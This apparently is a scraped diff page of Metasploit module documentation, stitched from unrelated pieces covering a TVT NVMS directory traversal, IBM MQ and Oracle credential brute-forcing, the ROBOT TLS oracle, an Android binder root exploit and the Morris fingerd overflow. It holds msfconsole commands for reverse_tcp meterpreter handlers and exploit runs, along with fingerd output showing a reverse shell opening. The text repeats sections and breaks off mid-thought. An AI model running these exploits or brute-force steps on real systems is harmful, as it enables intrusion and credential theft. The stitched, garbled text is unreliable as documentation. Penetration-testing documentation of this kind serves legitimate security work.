This module exploits an unauthenticated directory traversal vulnerability which exists in TVT network surveillance management software-1000 version 3.4.1. NVMS listens by default on port 80.
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_channel_brute) > run
@@ -35,14 +43,3 @@
[*] Auxiliary module execution completed
```
## Options
**The CHANNELS_FILE option**
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_enum) > run
@@ -26,11 +35,3 @@ msf auxiliary(scanner/misc/ibm_mq_enum) > run
[*] Auxiliary module execution completed
```
## Options
**The CHANNEL option**
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
### QUEUE_MANAGER
This option should contain the name of the target Queue Manager.
### CHANNEL
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
```
msf auxiliary(scanner/misc/ibm_mq_login) > run
@@ -33,21 +53,3 @@ msf auxiliary(scanner/misc/ibm_mq_login) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Options
**The USERNAMES_FILE option**
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
**The QUEUE_MANAGER option**
This option should contain the name of the target Queue Manager.
**The CHANNEL option**
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
This module attempts to authenticate against an Oracle RDBMS instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. The default wordlist
is [oracle_default_userpass.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/oracle_default_userpass.txt).
Default port for SQL*Net listener is 1521/tcp. If this port is open, try this module to login.
### Install
This module needs nmap 5.50 or above to function. However due to an [nmap bug](https://github.com/nmap/nmap/issues/1475) versions
6.50-7.80 may not work.
```
nmap -V
apt-get install nmap
```
In addition, if you encounter errors due to OCI libraries not being found, please see the
[How to get Oracle Support working with Kali Linux](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux).
Some TLS implementations handle errors processing RSA key exchanges and encryption (PKCS #1 v1.5 messages) in a broken way that leads an adaptive chosen-chiphertext attack. Attackers cannot recover a server's private key, but they can decrypt and sign messages with it. A strong oracle occurs when the TLS server does not strictly check message formatting and needs less than a million requests on average to decode a given ciphertext. A weak oracle server strictly checks message formatting and often requires many more requests to perform the attack.
## Vulnerable Applications
## Vulnerable Application
* F5 BIG-IP 11.6.0-11.6.2 (fixed in 11.6.2 HF1), 12.0.0-12.1.2 HF1 (fixed in 12.1.2 HF2), or 13.0.0-13.0.0 HF2 (fixed in 13.0.0 HF3) (CVE 2017-6168)
* Citrix NetScaler Gateway 10.5 before build 67.13, 11.0 before build 71.22, 11.1 before build 56.19, and 12.0 before build 53.22 (CVE 2017-17382)
This exploit module currently targets a very specific build of Android on specific set of hardware targets:
- Google Pixel 2 or Pixel XL 2 phones running the September 2019 security patch level.
This exploit module would have to be retargeted for any other potentially vulnerable build or hardware target.
One difficult issue with the Google Pixel 2 is that, while many Google phones have an unlocked bootloader, making it easy to download older Android revisions, the latest Pixel 2 updates show this feature has been disabled or broken [older revisions to the device firmware](https://developers.google.com/android/images). This may be a firmware bug or intentional, but Google themselves do not appear to have an answer [for the problem](https://support.google.com/pixelphone/thread/14920605?hl=en). For testing, you may need a phone never updated to a later Android revision.
## Verification Steps
- Get an android meterpreter session on a Pixel 2 or Pixel XL 2 with the right kernel:
`msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j`
- Currently this only works on the Pixel 2 (and Pixel 2 XL) with september 2019 Security patch level. Validate the kernel version looks like this:
```
uname -a
Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
```
- Run the exploit:
```
msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf
msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR
msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port)
LPORT => 4448
msf5 exploit(android/local/binder_uaf) > set SESSION -1
SESSION => -1
msf5 exploit(android/local/binder_uaf) > run
```
- **Verify** the new session can read and write private application data (in /data/data/..../)
## Scenarios
This module illustrates a privesc that, when chained with other exploit vectors, could turn an unprivileged sandboxed exploit into a sandbox escape and system compromise. Note that the target application may need to match the kernel CPU type, so for instance a 64-bit Chrome would need to be targeted with a 64-bit kernel.
This module uses the su binary present on rooted devices to run a payload as root.
@@ -8,12 +8,10 @@ temporary directory, make it executable, execute it in the background, and final
On most devices the su binary will pop-up a prompt on the device asking the user for permission.
## Vulnerable Application
This module will only work on *rooted* devices. An off the shelf Android device is unlikely to be rooted, however it's possible to root a device without losing the data.
Many devices can be rooted by flashing new firmware, however the existing data will be lost.
## Verfication steps
## Scenarios
You'll first need to obtain a session on the target device. To do this follow the instructions [here](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md)
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 79 yes The target port (TCP)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Payload options (bsd/vax/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85
LHOST yes The listen address (an interface may be specified)
msf5 exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(bsd/finger/morris_fingerd_bof) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 127.0.0.1:79 - Connecting to fingerd
[*] 127.0.0.1:79 - Sending 533-byte buffer
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58015) at 2020-02-06 15:45:33 -0600
whoami
nobody
whoami
nobody tty?? Feb 6 13:45
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.